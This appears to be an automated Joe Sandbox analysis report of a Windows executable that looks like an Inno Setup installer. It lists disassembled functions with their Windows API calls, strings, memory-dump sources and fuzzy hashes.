Opcode Fuzzy Hash: 70dfab7f3f526ba4f6777ec764105aa0072f72fa14368740d0b3654a77d976e0
Instruction Fuzzy Hash: F4B12B3490424D9FCF11DFA5C981ADEBBB9FF49304F5081AAE908B3251D7789A46CF68

Function 004556AC Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00455843,?,00000000,00455883), ref: 00455789

Strings

SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 0045570C
PendingFileRenameOperations, xrefs: 00455728
PendingFileRenameOperations2, xrefs: 00455758
WININIT.INI, xrefs: 004557B8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: 106a8fd2afe71b0f41862bd94ec021df8a162f8b500a81dbf23ed0435e9c3f1c
Instruction ID: 0b70bbd74ac5003506c3e48668489f2f7adcdad68ca58941e5d407b4478d915f
Opcode Fuzzy Hash: 106a8fd2afe71b0f41862bd94ec021df8a162f8b500a81dbf23ed0435e9c3f1c
Instruction Fuzzy Hash: 0C518430E006489FDB10EF61DC51AEEB7B9EF44305F50857BE804A7292DB78AE49CA58

Function 0047C378 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047C4CE,?,?,00000000,0049B628,00000000,00000000,?,00497A45,00000000,00497BEE,?,00000000), ref: 0047C40B
GetLastError.KERNEL32(00000000,00000000,00000000,0047C4CE,?,?,00000000,0049B628,00000000,00000000,?,00497A45,00000000,00497BEE,?,00000000), ref: 0047C414

Strings

_isetup, xrefs: 0047C3F6
\_setup64.tmp, xrefs: 0047C486
Created temporary directory: , xrefs: 0047C3AD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: 3853c7abe1a0bd338ee766f5a09477788eee4f2c95defc4397553f6378db80d7
Instruction ID: d537758c7117fefc82ee858029cb7c27e5ed8caa62090c64dc1ceeedb24f0412
Opcode Fuzzy Hash: 3853c7abe1a0bd338ee766f5a09477788eee4f2c95defc4397553f6378db80d7
Instruction Fuzzy Hash: A0411774A001099BCB01EFA5C892ADEB7B5EF44305F50857BE814B7392DB38AE058B6D

Function 00423A7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00423A14), ref: 00423AA0
GetWindow.USER32(?,00000003), ref: 00423AB5
GetWindowLongA.USER32(?,000000EC), ref: 00423AC4
SetWindowPos.USER32(00000000,TAB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241A3,?,?,00423D6B), ref: 00423AFA

Strings

TAB, xrefs: 00423AEA, 00423AEE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: TAB
API String ID: 4191631535-3846439302
Opcode ID: 19508b105e07bab33860b27abf9b752e23d544e284505d5f1a6339f97510727e
Instruction ID: 44c8a23491b9c45dd34cf4bcc3c04de93252e86aee0086cff54aee2134896fd7
Opcode Fuzzy Hash: 19508b105e07bab33860b27abf9b752e23d544e284505d5f1a6339f97510727e
Instruction Fuzzy Hash: 7B112A70704610ABDB10DF28D985F5677E8EB08725F51026AF994EB2E3C378AD41CB59

Function 0042DE3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DE48
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DFE3,00000000,0042DFFB,?,?,?,?,00000006,?,00000000,00496D69), ref: 0042DE63
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DE69

Strings

RegDeleteKeyExA, xrefs: 0042DE59
advapi32.dll, xrefs: 0042DE5E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: c05e7c3326c5169c07e68be8c9fbbd77449d19c2dd42617386e66743e2d73e3c
Instruction ID: 9c024767392e34e1239b6ccdb0e78e824d69575b4a8d701ce7db5acd733af5c1
Opcode Fuzzy Hash: c05e7c3326c5169c07e68be8c9fbbd77449d19c2dd42617386e66743e2d73e3c
Instruction Fuzzy Hash: B2E06DF1B41B30AAD72426697C8AFA72728DB74365F618537B105AD1A183FC1C50CE9D

Function 0046B930 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 320COMMON

Download Yara Rule

Strings

Need to restart Windows? %s, xrefs: 0046BCB5
PrepareToInstall failed: %s, xrefs: 0046BC8E
NextButtonClick, xrefs: 0046BA6C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID: Need to restart Windows? %s$NextButtonClick$PrepareToInstall failed: %s
API String ID: 0-2329492092
Opcode ID: c85eed945518d546ff95eb83013acbbea6e3c59c24d52283f76f7584732158fe
Instruction ID: ef605359146084d2a330ce9392c81193c54d44d6395a219c566c339d74a55226
Opcode Fuzzy Hash: c85eed945518d546ff95eb83013acbbea6e3c59c24d52283f76f7584732158fe
Instruction Fuzzy Hash: F6D12A34A04108DFCB10EF99D585AEE77F5EF49304F6444BAE400AB352D778AE81CB9A

Function 00482648 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 224COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?,?,00000000,00482990), ref: 0048276C
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00482801

Strings

, xrefs: 004828BE
Need to restart Windows? %s, xrefs: 0048283E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: 205c42aac985357c00af048fdaf18b998a02a4faeff7a2d0de879de7ff73840d
Instruction ID: d92f6dc0c394a11860c555715cc1377d1ab7d31dc5c27e132739ea4afdffe6c1
Opcode Fuzzy Hash: 205c42aac985357c00af048fdaf18b998a02a4faeff7a2d0de879de7ff73840d
Instruction Fuzzy Hash: 5291A274A042049FDB10FB69D986BAD77F4AF55308F1084BBE8009B362D7B86D05CB5D

Function 0046F8FC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 0042C7FC: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C820

GetLastError.KERNEL32(00000000,0046FAF9,?,?,0049C1D0,00000000), ref: 0046F9D6
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046FA50
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046FA75

Strings

Creating directory: %s, xrefs: 0046F9BE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ChangeNotify$ErrorFullLastNamePath
String ID: Creating directory: %s
API String ID: 2451617938-483064649
Opcode ID: d149bf9a4864bf308676d1666e2ddee2b554becc532c3436bbb106b5e5686cba
Instruction ID: 2bd83b05653ced0f0f619092410e1b81403e7cd9e02354fb4b3544f6b0b1216d
Opcode Fuzzy Hash: d149bf9a4864bf308676d1666e2ddee2b554becc532c3436bbb106b5e5686cba
Instruction Fuzzy Hash: 0F512174E00248ABDB01DFE9D582BDEBBF5AF48304F50847AE844B7396D7785E088B59

Function 00454DA8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00454E56
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00454F1C), ref: 00454EC0

Strings

SfcIsFileProtected, xrefs: 00454E50
sfc.dll, xrefs: 00454E18

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: e7edbd208805aa306e5bb6f456733d4c36fbf9170141b95da0f44c83ccf47135
Instruction ID: 176d29f9623cbc30a6d26dfc77e51d4098360506d5c3757ea1f9e8bf8263b863
Opcode Fuzzy Hash: e7edbd208805aa306e5bb6f456733d4c36fbf9170141b95da0f44c83ccf47135
Instruction Fuzzy Hash: 21416670A04218ABE720EB55DC86B9E77B8EB44309F5041B7E908A7293D7785F89CF5C

Function 0042ED30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDBD

Part of subcall function 0042D8BC: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8CF

Part of subcall function 0042E38C: SetErrorMode.KERNEL32(00008000), ref: 0042E396
Part of subcall function 0042E38C: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E0,?,00000000,0042E3FE,?,00008000), ref: 0042E3C5

GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA0

Strings

shlwapi.dll, xrefs: 0042ED6B
SHAutoComplete, xrefs: 0042ED9A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressAutoCompleteDirectoryErrorLibraryLoadModeProcSystem
String ID: SHAutoComplete$shlwapi.dll
API String ID: 395431579-1506664499
Opcode ID: 07c44bdcd03860b1f33b3045299bb1d0449c98b3a7b2341f9148d4efe18bbe9e
Instruction ID: abd39ea96fbc8e8598eec473428a27bf92d63543bd8a2491ee7d7de58c90140d
Opcode Fuzzy Hash: 07c44bdcd03860b1f33b3045299bb1d0449c98b3a7b2341f9148d4efe18bbe9e
Instruction Fuzzy Hash: B1117330B00319BFD711EB62ED85B8E7BA8EB55704F90407BF400A6691D778AE05865D

Function 004559E4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,00455A4F,?,00000001,00000000), ref: 00455A42

Strings

PendingFileRenameOperations2, xrefs: 00455A23
PendingFileRenameOperations, xrefs: 00455A14
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 004559F0

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: bdd8c77769c6bad55690eeddcdbd75d9d8896b7276d3d2e2d12af9b25540c28f
Instruction ID: 0e3b4bd859061d9736a48b3f0c398de546ea7d73752f370084b2b16911b021d7
Opcode Fuzzy Hash: bdd8c77769c6bad55690eeddcdbd75d9d8896b7276d3d2e2d12af9b25540c28f
Instruction Fuzzy Hash: 31F09671744A08EFDB04D6A6DC62E7A739DD744711FA04477F800D7682DA7DAD04962C

Function 0047F340 Relevance: 6.1, APIs: 4, Instructions: 147fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0047F539,?,00000000,00000000,?,?,00480749,?,?,00000000), ref: 0047F3E6
FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0047F539,?,00000000,00000000,?,?,00480749,?,?), ref: 0047F3F3
FindNextFileA.KERNEL32(000000FF,?,00000000,0047F50C,?,?,?,?,00000000,0047F539,?,00000000,00000000,?,?,00480749), ref: 0047F4E8
FindClose.KERNEL32(000000FF,0047F513,0047F50C,?,?,?,?,00000000,0047F539,?,00000000,00000000,?,?,00480749,?), ref: 0047F506

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: b461a46803c2cc4ea78060a2329edfdb5f867b3d72b18562307b1542635c1f41
Instruction ID: 93840f20d66fcb2e286325320114c4d74e835c6895e54ad5a4f30f132b089a3b
Opcode Fuzzy Hash: b461a46803c2cc4ea78060a2329edfdb5f867b3d72b18562307b1542635c1f41
Instruction Fuzzy Hash: 19512F71A00658AFCB21DF65CC45ADEB7B8EB48319F5084BAA818E7341D7389F49CF54

Function 0042126C Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 00421359
SetMenu.USER32(00000000,00000000), ref: 00421376
SetMenu.USER32(00000000,00000000), ref: 004213AB
SetMenu.USER32(00000000,00000000), ref: 004213C7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 2199c62fdc40b6f857ca540156f476da1cd3d0498d35d1cb2f117de972eee6cd
Instruction ID: 7bb7859a2cdb5f88754e70ccfd218d349751ef7fdbf43141b5448ef52fdf7b61
Opcode Fuzzy Hash: 2199c62fdc40b6f857ca540156f476da1cd3d0498d35d1cb2f117de972eee6cd
Instruction Fuzzy Hash: 0141B03070025456EB20EB3AA8857AB36D64F61308F4856BFBC44DF7A3CA7CCC5583A9

Function 00416B3A Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416B7C
SetTextColor.GDI32(?,00000000), ref: 00416B96
SetBkColor.GDI32(?,00000000), ref: 00416BB0
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416BD8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: c8424e95f6d781db4325e6c83d9f419e4623fd2ec4a9fd1ab852655791a28026
Instruction ID: 029c09512e86dc7a5584eefc6ebe6d25086567911d505253220d4c4c80a1b89b
Opcode Fuzzy Hash: c8424e95f6d781db4325e6c83d9f419e4623fd2ec4a9fd1ab852655791a28026
Instruction Fuzzy Hash: D4114FB5304604AFD720EE6ECDC4E9777DCAF49310715882AB55ADB602C638F8418B39

Function 00454F50 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,00000032), ref: 00454F7C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454F9E
GetExitCodeProcess.KERNEL32(?,?), ref: 00454FAD
CloseHandle.KERNEL32(?,00454FDA,00454FD3,?,?,?,00000000,?,?,004551AF,?,?,?,00000044,00000000,00000000), ref: 00454FCD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: 51238a3311eee55e88becd6a870e4e93586b22fb22ba4d0d147ea6b118d6571c
Instruction ID: ae4672943cd7382c52be368afd98a0e744302f00d430d4f9e0a97d6bd95691cc
Opcode Fuzzy Hash: 51238a3311eee55e88becd6a870e4e93586b22fb22ba4d0d147ea6b118d6571c
Instruction Fuzzy Hash: 9C01F931A006087EEB10979D8C02F5B7BACDB89764F610127F904DB2C2C5789D408A68

Function 004230C0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000,?,00418FCB,00000000,?,?,?,00000001), ref: 00423116
EnumFontsA.GDI32(00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000,?,?,?,00000001), ref: 00423129
73A24620.GDI32(00000000,0000005A,00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000), ref: 00423131
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000), ref: 0042313C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A24620A480A570EnumFonts
String ID:
API String ID: 2630238358-0
Opcode ID: 9afbfd5fafda1dbd28af8ddef14be35d640b69e4e8358016454380424bd4bee6
Instruction ID: 69cee35535e214b40259e1ab78654d31e06b117eb7ed13cd681158bdd9fae355
Opcode Fuzzy Hash: 9afbfd5fafda1dbd28af8ddef14be35d640b69e4e8358016454380424bd4bee6
Instruction Fuzzy Hash: 2F01D2717442102AE700BF795CC6B9B36A4DF04318F40027BF808AB3C6D6BE9C0547AE

Function 0045C084 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00450900: SetEndOfFile.KERNEL32(?,?,0045C162,00000000,0045C2ED,?,00000000,00000002,00000002), ref: 00450907

FlushFileBuffers.KERNEL32(?), ref: 0045C2B9

Strings

NumRecs range exceeded, xrefs: 0045C1B6
EndOffset range exceeded, xrefs: 0045C1ED

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
Opcode ID: 0bf64ccb4770f6e98af3bdf021747f42c693f3348cd9375c8cc8fc116bf0a776
Instruction ID: f1827e02de76a306a1886b93aefbbb2344be70999cb9be9d3c0cbcfad0efad24
Opcode Fuzzy Hash: 0bf64ccb4770f6e98af3bdf021747f42c693f3348cd9375c8cc8fc116bf0a776
Instruction Fuzzy Hash: 35616334A002548FDB25DF25C891ADAB7B5AF49305F0084DAED88AB353D7749EC9CF54

Function 004980B4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,004980C2), ref: 0040334B
Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,004980C2), ref: 00403356

Part of subcall function 0040631C: GetModuleHandleA.KERNEL32(kernel32.dll,?,004980CC), ref: 00406322
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
Part of subcall function 0040631C: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,004980CC), ref: 00406366

Part of subcall function 00409B70: 6F551CD0.COMCTL32(004980D6), ref: 00409B70

